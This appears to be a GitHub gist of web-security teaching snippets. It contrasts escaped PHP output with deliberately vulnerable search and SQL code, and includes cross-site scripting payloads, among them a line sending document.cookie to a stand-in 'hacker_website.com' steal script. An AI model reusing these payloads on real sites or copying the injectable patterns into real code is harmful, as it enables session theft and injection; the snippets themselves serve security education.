Created
November 6, 2019 18:51
-
-
Save webexpl0it/01297915f09496707129b3c9bb2dc689 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
$a=3; | |
?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$term = $_GET['term']; | |
?> | |
<html> | |
<body> | |
Search results for : <?php echo htmlentities($term); ?> | |
</body> | |
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
htmlentities() | |
strip_tags () | |
utf8_decode () | |
htmlspecialchars() | |
ctype_digit() | |
ctype_alnum() | |
stripslashes() | |
str_replace() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
http://www.site.com/path/page.php?id=5 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$id = $_GET['id']; | |
$this->db->query("SELECT * FROM pages WHERE id = '$id'"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
search.php?term=ipad | |
<?php | |
$term = $_GET['term']; | |
?> | |
<html> | |
<body> | |
Search results for : <?php echo $term; ?> | |
</body> | |
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
http://www.original_website.com/search.php?term=<script>alert('hi');</script> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script type=text/javascript src="https://www.hacker_website.com/xss.js"></script> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
document.location = 'http://www.hacker_website.com/steal.php?cookies=' + encodeURI(document.cookie); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script type=text/javascript src="https://www.original_website.com/delete_content.php"></script> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
Database connection details | |
*/ | |
$db_host = 'localhost'; | |
$db_user = 'project'; | |
$db_pass = 'secret'; | |
$db_name = 'project_ecommerce'; | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment